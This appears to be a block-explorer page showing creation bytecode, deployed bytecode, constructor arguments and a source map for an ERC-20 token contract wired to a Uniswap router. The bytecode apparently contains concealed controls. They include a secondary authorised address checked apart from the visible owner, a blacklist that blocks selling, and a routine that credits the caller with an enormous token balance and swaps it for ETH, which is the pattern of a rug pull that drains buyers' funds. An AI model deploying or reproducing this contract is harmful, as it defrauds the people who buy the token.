60405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a20565b6107d281611bcd565b6115fb611727565b610fbe611c1d565b6001600160a01b0383166116655760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a20565b6001600160a01b0382166116c65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a20565b6001600160a01b038381166000818152600d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60003390506107d281600e54611c4a565b600061174484846114fc565b905060001981146112f2578181101561179f5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610a20565b6112f28484848403611603565b6001600160a01b0383166118105760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a20565b6001600160a01b0382166118725760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a20565b61187d838383611ca6565b6001600160a01b03831660009081526014602052604090205460ff16156118a357600080fd5b6001600160a01b0383166000908152600c60205260409020548181101561191b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610a20565b6001600160a01b03841660009081526013602052604090205460ff1615801561195d57506001600160a01b03831660009081526013602052604090205460ff16155b15611acb5761196b84611f8d565b15611aa45760055460009061198490849060ff16611fbc565b905061199083836123f2565b6001600160a01b0386166000908152600c60205260409020556119b381846123f2565b6001600160a01b0385166000908152600c6020526040812080549091906119db9084906123a9565b90915550506001600160a01b038085169086167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611a1984876123f2565b60405190815260200160405180910390a36012546001600160a01b03166000908152600c602052604081208054839290611a549084906123a9565b90915550506012546040518281526001600160a01b03918216918716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3506112f2565b611aad83611f8d565b15611acb57600554600090611984908490610100900460ff16611fbc565b611ad582826123f2565b6001600160a01b038086166000908152600c60205260408082209390935590851681529081208054849290611b0b9084906123a9565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b5791815260200190565b60405180910390a36112f2565b33611b776000546001600160a01b031690565b6001600160a01b031614610fbe5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a20565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b336000908152600c6020526040812080546001600160701b039290611c439084906123a9565b9091555050565b6000611c5a82633b9aca006125e0565b9050611c6683826125f7565b633b9aca0014611ca15760405162461bcd60e51b815260206004820152600660248201526565727239303160d01b6044820152606401610a20565b505050565b611caf82611f8d565b15611d1157611cbd83611fdb565b600b546001600160a01b03848116911614611d1157611cdb8361201f565b15611d115760405162461bcd60e51b815260206004820152600660248201526565727237303160d01b6044820152606401610a20565b60008111611d1e57600080fd5b60065415801590611d335750611d3383611f8d565b8015611d5857506001600160a01b03821660009081526013602052604090205460ff16155b15611e01576001600160a01b038216600090815260156020526040812080548391908390611d879084906123a9565b9250508190559050600654811115611dd25760405162461bcd60e51b815260206004820152600e60248201526d657863656564206d61782062757960901b6044820152606401610a20565b6001600160a01b03831660009081526015602052604081208054849290611dfa9084906123a9565b9091555050505b60075415801590611e185750611e1682611f8d565b155b8015611e3d57506001600160a01b03821660009081526013602052604090205460ff16155b8015611e6257506001600160a01b03831660009081526013602052604090205460ff16155b15611ef55760075481611e8a846001600160a01b03166000908152600c602052604090205490565b611e9491906123a9565b1115611ef55760405162461bcd60e51b815260206004820152602a60248201527f416674657220746869732074786e20757365722077696c6c20657863656564206044820152691b585e081dd85b1b195d60b21b6064820152608401610a20565b60085415611ca1576001600160a01b03831660009081526013602052604090205460ff16158015611f3f57506001600160a01b03831660009081526013602052604090205460ff16155b15611ca157600854811115611ca15760405162461bcd60e51b815260206004820152601460248201527354786e20416d6f756e7420746f6f20686967682160601b6044820152606401610a20565b600a546000906001600160a01b038381169116148061077f5750506009546001600160a01b0390811691161490565b60006064611fca83856125e0565b611fd491906125f7565b9392505050565b6001600160a01b03811660009081526013602052604090205460ff1615611fff5750565b600f5460ff16612014576107d260105461203b565b6107d260115461203b565b6000813b80156120325750600192915050565b50600092915050565b803a11156107d25760405162461bcd60e51b815260206004820152600660248201526565727233303160d01b6044820152606401610a20565b600060208083528351808285015260005b818110156120a157858101830151858201604001528201612085565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107d257600080fd5b600080604083850312156120ea57600080fd5b82356120f5816120c2565b946020939093013593505050565b60006020828403121561211557600080fd5b8135611fd4816120c2565b60006020828403121561213257600080fd5b5035919050565b60008060006060848603121561214e57600080fd5b8335612159816120c2565b92506020840135612169816120c2565b929592945050506040919091013590565b80151581146107d257600080fd5b6000806040838503121561219b57600080fd5b82356121a6816120c2565b915060208301356121b68161217a565b809150509250929050565b803560ff811681146121d257600080fd5b919050565b600080604083850312156121ea57600080fd5b6121f3836121c1565b9150612201602084016121c1565b90509250929050565b60008083601f84011261221c57600080fd5b50813567ffffffffffffffff81111561223457600080fd5b6020830191508360208260051b850101111561224f57600080fd5b9250929050565b6000806000806040858703121561226c57600080fd5b843567ffffffffffffffff8082111561228457600080fd5b6122908883890161220a565b909650945060208701359150808211156122a957600080fd5b506122b68782880161220a565b95989497509550505050565b600080604083850312156122d557600080fd5b82356122e0816120c2565b915060208301356121b6816120c2565b60008060006040848603121561230557600080fd5b833567ffffffffffffffff81111561231c57600080fd5b6123288682870161220a565b909790965060209590950135949350505050565b600181811c9082168061235057607f821691505b60208210810361237057634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121561238857600080fd5b8151611fd4816120c2565b634e487b7160e01b600052601160045260246000fd5b8082018082111561077f5761077f612393565b6000602082840312156123ce57600080fd5b8151611fd48161217a565b6000602082840312156123eb57600080fd5b5051919050565b8181038181111561077f5761077f612393565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156124815784516001600160a01b03168352938301939183019160010161245c565b50506001600160a01b03969096166060850152505050608001529392505050565b600060208083850312156124b557600080fd5b825167ffffffffffffffff808211156124cd57600080fd5b818501915085601f8301126124e157600080fd5b8151818111156124f3576124f3612405565b8060051b604051601f19603f8301168101818110858211171561251857612518612405565b60405291825284820192508381018501918883111561253657600080fd5b938501935b828510156125545784518452938501939285019261253b565b98975050505050505050565b80516001600160701b03811681146121d257600080fd5b60008060006060848603121561258c57600080fd5b61259584612560565b92506125a360208501612560565b9150604084015163ffffffff811681146125bc57600080fd5b809150509250925092565b6000600182016125d9576125d9612393565b5060010190565b808202811582820484141761077f5761077f612393565b60008261261457634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212202135e4005c76831c91bf308fc0878ac09132aa804629a00949205c17e11f187264736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode
0x60806040526004361061021e5760003560e01c8063791dc0d311610123578063bfbec603116100ab578063e2a147491161006f578063e2a147491461064f578063e4440a861461066f578063f2fde38b1461068f578063f6d1dfe1146106af578063ff4b79d3146106c457600080fd5b8063bfbec603146105c5578063c016deae146105da578063d493f013146105fa578063dd62ed3e1461061a578063e1370dd31461063a57600080fd5b806399dead31116100f257806399dead31146104fe5780639ffa77dc14610537578063a457c2d714610570578063a9059cbb14610590578063b59c0974146105b057600080fd5b8063791dc0d3146104825780638b6084e4146104a25780638da5cb5b146104b757806395d89b41146104e957600080fd5b80632ac0a943116101a65780634d474d42116101755780634d474d42146103e457806351c6590a14610404578063588813041461041757806370a0823114610437578063715018a61461046d57600080fd5b80632ac0a9431461035e5780633139f2e51461037e578063313ce5671461039e57806339509351146103c457600080fd5b80631a2e6a01116101ed5780631a2e6a01146102bc5780631c499ab0146102de5780631f7cb4d0146102fe57806323b872dd1461031e578063269bf9ea1461033e57600080fd5b806306fdde031461022a578063095ea7b3146102555780630c3f6acf1461028557806318160ddd1461029d57600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5061023f6106d9565b60405161024c9190612074565b60405180910390f35b34801561026157600080fd5b506102756102703660046120d7565b61076b565b604051901515815260200161024c565b34801561029157600080fd5b50600f5460ff16610275565b3480156102a957600080fd5b506004545b60405190815260200161024c565b3480156102c857600080fd5b506102dc6102d7366004612103565b610785565b005b3480156102ea57600080fd5b506102dc6102f9366004612120565b6107d5565b34801561030a57600080fd5b506102dc610319366004612103565b6107e2565b34801561032a57600080fd5b50610275610339366004612139565b610986565b34801561034a57600080fd5b506102dc610359366004612188565b6109aa565b34801561036a57600080fd5b506102dc610379366004612120565b610a58565b34801561038a57600080fd5b506102dc6103993660046121d7565b610a65565b3480156103aa57600080fd5b5060035460ff165b60405160ff909116815260200161024c565b3480156103d057600080fd5b506102756103df3660046120d7565b610ae5565b3480156103f057600080fd5b506102dc6103ff366004612103565b610b07565b6102dc610412366004612120565b610b31565b34801561042357600080fd5b506102dc610432366004612120565b610f9f565b34801561044357600080fd5b506102ae610452366004612103565b6001600160a01b03166000908152600c602052604090205490565b34801561047957600080fd5b506102dc610fac565b34801561048e57600080fd5b506102dc61049d366004612188565b610fc0565b3480156104ae57600080fd5b506102dc611069565b3480156104c357600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161024c565b3480156104f557600080fd5b5061023f611085565b34801561050a57600080fd5b506103b2610519366004612103565b6001600160a01b031660009081526013602052604090205460ff1690565b34801561054357600080fd5b506103b2610552366004612103565b6001600160a01b031660009081526014602052604090205460ff1690565b34801561057c57600080fd5b5061027561058b3660046120d7565b611094565b34801561059c57600080fd5b506102756105ab3660046120d7565b61110f565b3480156105bc57600080fd5b506102dc61111d565b3480156105d157600080fd5b506006546102ae565b3480156105e657600080fd5b506102ae6105f5366004612103565b6112f8565b34801561060657600080fd5b506102dc610615366004612256565b61142d565b34801561062657600080fd5b506102ae6106353660046122c2565b6114fc565b34801561064657600080fd5b506007546102ae565b34801561065b57600080fd5b506102dc61066a3660046122f0565b611527565b34801561067b57600080fd5b506012546104d1906001600160a01b031681565b34801561069b57600080fd5b506102dc6106aa366004612103565b61157d565b3480156106bb57600080fd5b506008546102ae565b3480156106d057600080fd5b506102dc6115f3565b6060600180546106e89061233c565b80601f01602080910402602001604051908101604052809291908181526020018280546107149061233c565b80156107615780601f1061073657610100808354040283529160200191610761565b820191906000526020600020905b81548152906001019060200180831161074457829003601f168201915b5050505050905090565b600033610779818585611603565b60019150505b92915050565b61078d611727565b33600090815260136020526040808220805460ff199081169091556001600160a01b03841683529120805490911660011790556107d2816001600160a01b0316600e55565b50565b6107dd611727565b600755565b6107ea611727565b600980546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b815290516000929163c45a01559160048083019260209291908290030181865afa158015610846573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086a9190612376565b9050806001600160a01b031663e6a4390530600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f39190612376565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa15801561093e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109629190612376565b600a80546001600160a01b0319166001600160a01b03929092169190911790555050565b600033610994858285611738565b61099f8585856117ac565b506001949350505050565b6109b2611727565b6000816109c05760006109c3565b60015b6001600160a01b03841660009081526013602052604090205490915060ff808316911603610a295760405162461bcd60e51b815260206004820152600e60248201526d6578697374696e6720737461746560901b60448201526064015b60405180910390fd5b6001600160a01b03929092166000908152601360205260409020805460ff191660ff9093169290921790915550565b610a60611727565b600855565b610a6d611727565b60648260ff1611158015610a85575060648160ff1611155b610ac15760405162461bcd60e51b815260206004820152600d60248201526c195e18d959591cc81b1a5b5a5d609a1b6044820152606401610a20565b6005805460ff9283166101000261ffff199091169290931691909117919091179055565b600033610779818585610af883836114fc565b610b0291906123a9565b611603565b610b0f611727565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b610b39611727565b6009546040805163c45a015560e01b815290516000926001600160a01b03169163c45a01559160048083019260209291908290030181865afa158015610b83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba79190612376565b90506000816001600160a01b031663e6a4390530600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c329190612376565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610c7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca19190612376565b90506001600160a01b03811615610cb85780610db0565b816001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3f9190612376565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610d8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db09190612376565b600a80546001600160a01b0319166001600160a01b03928316179055600954604080516315ab88c960e31b81529051600093929092169163ad5c4648916004808201926020929091908290030181865afa158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612376565b9050806001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b158015610e7357600080fd5b505af1158015610e87573d6000803e3d6000fd5b5050600a54610ea493506001600160a01b0316915086905061110f565b50600a5460405163a9059cbb60e01b81526001600160a01b0391821660048201523460248201529082169063a9059cbb906044016020604051808303816000875af1158015610ef7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1b91906123bc565b50600a546001600160a01b0316636a627842336040516001600160e01b031960e084901b1681526001600160a01b0390911660048201526024016020604051808303816000875af1158015610f74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9891906123d9565b5050505050565b610fa7611727565b600655565b610fb4611b64565b610fbe6000611bcd565b565b610fc8611727565b600081610fd6576000610fd9565b60015b6001600160a01b03841660009081526014602052604090205490915060ff80831691160361103a5760405162461bcd60e51b815260206004820152600e60248201526d6578697374696e6720737461746560901b6044820152606401610a20565b6001600160a01b03929092166000908152601460205260409020805460ff191660ff9093169290921790915550565b611071611727565b600f805460ff19811660ff90911615179055565b6060600280546106e89061233c565b600033816110a282866114fc565b9050838110156111025760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610a20565b61099f8286868403611603565b6000336107798185856117ac565b611125611727565b600b5460009061113d906001600160a01b03166112f8565b90506000611152826001600160701b036123f2565b905061115c611c1d565b336000908152600c602052604090205461117790309061110f565b506009546111979030906001600160a01b03166001600160701b03611603565b604080516002808252606080830184529260208301908036833701905050905030816000815181106111cb576111cb61241b565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611224573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112489190612376565b8160018151811061125b5761125b61241b565b6001600160a01b039283166020918202929092010152600954166318cbafe5836000843361128b426104b06123a9565b6040518663ffffffff1660e01b81526004016112ab959493929190612431565b6000604051808303816000875af11580156112ca573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526112f291908101906124a2565b50505050565b6000806000600a60009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015611350573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113749190612577565b50915091506000846001600160a01b0316600a60009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113fc9190612376565b6001600160a01b03161461141957816001600160701b0316611424565b826001600160701b03165b95945050505050565b611435611727565b8281146114965760405162461bcd60e51b815260206004820152602960248201527f526563697665727320616e6420416d6f756e7473206c656e67746820646f65736044820152680dc4ee840dac2e8c6d60bb1b6064820152608401610a20565b60005b83811015610f98576114ea338686848181106114b7576114b761241b565b90506020020160208101906114cc9190612103565b8585858181106114de576114de61241b565b905060200201356117ac565b806114f4816125c7565b915050611499565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205490565b61152f611727565b60005b828110156112f25761156b338585848181106115505761155061241b565b90506020020160208101906115659190612103565b846117ac565b80611575816125c7565b915050611532565b611585611b64565b6001600160a01b0381166115ea5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a20565b6107d281611bcd565b6115fb611727565b610fbe611c1d565b6001600160a01b0383166116655760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a20565b6001600160a01b0382166116c65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a20565b6001600160a01b038381166000818152600d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60003390506107d281600e54611c4a565b600061174484846114fc565b905060001981146112f2578181101561179f5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610a20565b6112f28484848403611603565b6001600160a01b0383166118105760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a20565b6001600160a01b0382166118725760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a20565b61187d838383611ca6565b6001600160a01b03831660009081526014602052604090205460ff16156118a357600080fd5b6001600160a01b0383166000908152600c60205260409020548181101561191b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610a20565b6001600160a01b03841660009081526013602052604090205460ff1615801561195d57506001600160a01b03831660009081526013602052604090205460ff16155b15611acb5761196b84611f8d565b15611aa45760055460009061198490849060ff16611fbc565b905061199083836123f2565b6001600160a01b0386166000908152600c60205260409020556119b381846123f2565b6001600160a01b0385166000908152600c6020526040812080549091906119db9084906123a9565b90915550506001600160a01b038085169086167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611a1984876123f2565b60405190815260200160405180910390a36012546001600160a01b03166000908152600c602052604081208054839290611a549084906123a9565b90915550506012546040518281526001600160a01b03918216918716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3506112f2565b611aad83611f8d565b15611acb57600554600090611984908490610100900460ff16611fbc565b611ad582826123f2565b6001600160a01b038086166000908152600c60205260408082209390935590851681529081208054849290611b0b9084906123a9565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b5791815260200190565b60405180910390a36112f2565b33611b776000546001600160a01b031690565b6001600160a01b031614610fbe5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a20565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b336000908152600c6020526040812080546001600160701b039290611c439084906123a9565b9091555050565b6000611c5a82633b9aca006125e0565b9050611c6683826125f7565b633b9aca0014611ca15760405162461bcd60e51b815260206004820152600660248201526565727239303160d01b6044820152606401610a20565b505050565b611caf82611f8d565b15611d1157611cbd83611fdb565b600b546001600160a01b03848116911614611d1157611cdb8361201f565b15611d115760405162461bcd60e51b815260206004820152600660248201526565727237303160d01b6044820152606401610a20565b60008111611d1e57600080fd5b60065415801590611d335750611d3383611f8d565b8015611d5857506001600160a01b03821660009081526013602052604090205460ff16155b15611e01576001600160a01b038216600090815260156020526040812080548391908390611d879084906123a9565b9250508190559050600654811115611dd25760405162461bcd60e51b815260206004820152600e60248201526d657863656564206d61782062757960901b6044820152606401610a20565b6001600160a01b03831660009081526015602052604081208054849290611dfa9084906123a9565b9091555050505b60075415801590611e185750611e1682611f8d565b155b8015611e3d57506001600160a01b03821660009081526013602052604090205460ff16155b8015611e6257506001600160a01b03831660009081526013602052604090205460ff16155b15611ef55760075481611e8a846001600160a01b03166000908152600c602052604090205490565b611e9491906123a9565b1115611ef55760405162461bcd60e51b815260206004820152602a60248201527f416674657220746869732074786e20757365722077696c6c20657863656564206044820152691b585e081dd85b1b195d60b21b6064820152608401610a20565b60085415611ca1576001600160a01b03831660009081526013602052604090205460ff16158015611f3f57506001600160a01b03831660009081526013602052604090205460ff16155b15611ca157600854811115611ca15760405162461bcd60e51b815260206004820152601460248201527354786e20416d6f756e7420746f6f20686967682160601b6044820152606401610a20565b600a546000906001600160a01b038381169116148061077f5750506009546001600160a01b0390811691161490565b60006064611fca83856125e0565b611fd491906125f7565b9392505050565b6001600160a01b03811660009081526013602052604090205460ff1615611fff5750565b600f5460ff16612014576107d260105461203b565b6107d260115461203b565b6000813b80156120325750600192915050565b50600092915050565b803a11156107d25760405162461bcd60e51b815260206004820152600660248201526565727233303160d01b6044820152606401610a20565b600060208083528351808285015260005b818110156120a157858101830151858201604001528201612085565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107d257600080fd5b600080604083850312156120ea57600080fd5b82356120f5816120c2565b946020939093013593505050565b60006020828403121561211557600080fd5b8135611fd4816120c2565b60006020828403121561213257600080fd5b5035919050565b60008060006060848603121561214e57600080fd5b8335612159816120c2565b92506020840135612169816120c2565b929592945050506040919091013590565b80151581146107d257600080fd5b6000806040838503121561219b57600080fd5b82356121a6816120c2565b915060208301356121b68161217a565b809150509250929050565b803560ff811681146121d257600080fd5b919050565b600080604083850312156121ea57600080fd5b6121f3836121c1565b9150612201602084016121c1565b90509250929050565b60008083601f84011261221c57600080fd5b50813567ffffffffffffffff81111561223457600080fd5b6020830191508360208260051b850101111561224f57600080fd5b9250929050565b6000806000806040858703121561226c57600080fd5b843567ffffffffffffffff8082111561228457600080fd5b6122908883890161220a565b909650945060208701359150808211156122a957600080fd5b506122b68782880161220a565b95989497509550505050565b600080604083850312156122d557600080fd5b82356122e0816120c2565b915060208301356121b6816120c2565b60008060006040848603121561230557600080fd5b833567ffffffffffffffff81111561231c57600080fd5b6123288682870161220a565b909790965060209590950135949350505050565b600181811c9082168061235057607f821691505b60208210810361237057634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121561238857600080fd5b8151611fd4816120c2565b634e487b7160e01b600052601160045260246000fd5b8082018082111561077f5761077f612393565b6000602082840312156123ce57600080fd5b8151611fd48161217a565b6000602082840312156123eb57600080fd5b5051919050565b8181038181111561077f5761077f612393565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156124815784516001600160a01b03168352938301939183019160010161245c565b50506001600160a01b03969096166060850152505050608001529392505050565b600060208083850312156124b557600080fd5b825167ffffffffffffffff808211156124cd57600080fd5b818501915085601f8301126124e157600080fd5b8151818111156124f3576124f3612405565b8060051b604051601f19603f8301168101818110858211171561251857612518612405565b60405291825284820192508381018501918883111561253657600080fd5b938501935b828510156125545784518452938501939285019261253b565b98975050505050505050565b80516001600160701b03811681146121d257600080fd5b60008060006060848603121561258c57600080fd5b61259584612560565b92506125a360208501612560565b9150604084015163ffffffff811681146125bc57600080fd5b809150509250925092565b6000600182016125d9576125d9612393565b5060010190565b808202811582820484141761077f5761077f612393565b60008261261457634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212202135e4005c76831c91bf308fc0878ac09132aa804629a00949205c17e11f187264736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
-----Decoded View---------------
Arg [0] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode Sourcemap
3633:12482:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4701:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5611:199;;;;;;;;;;-1:-1:-1;5611:199:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;5611:199:0;1023:187:1;14358:69:0;;;;;;;;;;-1:-1:-1;14420:4:0;;;;14358:69;;5002:108;;;;;;;;;;-1:-1:-1;5090:12:0;;5002:108;;;1361:25:1;;;1349:2;1334:18;5002:108:0;1215:177:1;10606:158:0;;;;;;;;;;-1:-1:-1;10606:158:0;;;;;:::i;:::-;;:::i;:::-;;15244:105;;;;;;;;;;-1:-1:-1;15244:105:0;;;;;:::i;:::-;;:::i;14617:278::-;;;;;;;;;;-1:-1:-1;14617:278:0;;;;;:::i;:::-;;:::i;5818:293::-;;;;;;;;;;-1:-1:-1;5818:293:0;;;;;:::i;:::-;;:::i;13980:181::-;;;;;;;;;;-1:-1:-1;13980:181:0;;;;;:::i;:::-;;:::i;15357:85::-;;;;;;;;;;-1:-1:-1;15357:85:0;;;;;:::i;:::-;;:::i;13555:199::-;;;;;;;;;;-1:-1:-1;13555:199:0;;;;;:::i;:::-;;:::i;4903:91::-;;;;;;;;;;-1:-1:-1;4977:9:0;;;;4903:91;;;3395:4:1;3383:17;;;3365:36;;3353:2;3338:18;4903:91:0;3223:184:1;6119:236:0;;;;;;;;;;-1:-1:-1;6119:236:0;;;;;:::i;:::-;;:::i;13430:117::-;;;;;;;;;;-1:-1:-1;13430:117:0;;;;;:::i;:::-;;:::i;11043:621::-;;;;;;:::i;:::-;;:::i;15048:87::-;;;;;;;;;;-1:-1:-1;15048:87:0;;;;;:::i;:::-;;:::i;5118:127::-;;;;;;;;;;-1:-1:-1;5118:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;5219:18:0;5192:7;5219:18;;;:9;:18;;;;;;;5118:127;846:103;;;;;;;;;;;;;:::i;14169:181::-;;;;;;;;;;-1:-1:-1;14169:181:0;;;;;:::i;:::-;;:::i;13159:67::-;;;;;;;;;;;;;:::i;613:87::-;;;;;;;;;;-1:-1:-1;659:7:0;686:6;-1:-1:-1;;;;;686:6:0;613:87;;;-1:-1:-1;;;;;3576:32:1;;;3558:51;;3546:2;3531:18;613:87:0;3412:203:1;4800:95:0;;;;;;;;;;;;;:::i;14433:85::-;;;;;;;;;;-1:-1:-1;14433:85:0;;;;;:::i;:::-;-1:-1:-1;;;;;14502:13:0;14486:5;14502:13;;;:9;:13;;;;;;;;;14433:85;14524;;;;;;;;;;-1:-1:-1;14524:85:0;;;;;:::i;:::-;-1:-1:-1;;;;;14593:13:0;14577:5;14593:13;;;:9;:13;;;;;;;;;14524:85;6363:434;;;;;;;;;;-1:-1:-1;6363:434:0;;;;;:::i;:::-;;:::i;5253:191::-;;;;;;;;;;-1:-1:-1;5253:191:0;;;;;:::i;:::-;;:::i;11672:610::-;;;;;;;;;;;;;:::i;14953:87::-;;;;;;;;;;-1:-1:-1;15026:6:0;;14953:87;;12290:277;;;;;;;;;;-1:-1:-1;12290:277:0;;;;;:::i;:::-;;:::i;15761:314::-;;;;;;;;;;-1:-1:-1;15761:314:0;;;;;:::i;:::-;;:::i;5452:151::-;;;;;;;;;;-1:-1:-1;5452:151:0;;;;;:::i;:::-;;:::i;15143:93::-;;;;;;;;;;-1:-1:-1;15219:9:0;;15143:93;;15550:203;;;;;;;;;;-1:-1:-1;15550:203:0;;;;;:::i;:::-;;:::i;13234:27::-;;;;;;;;;;-1:-1:-1;13234:27:0;;;;-1:-1:-1;;;;;13234:27:0;;;957:201;;;;;;;;;;-1:-1:-1;957:201:0;;;;;:::i;:::-;;:::i;15450:92::-;;;;;;;;;;-1:-1:-1;15528:6:0;;15450:92;;12742:44;;;;;;;;;;;;;:::i;4701:91::-;4746:13;4779:5;4772:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;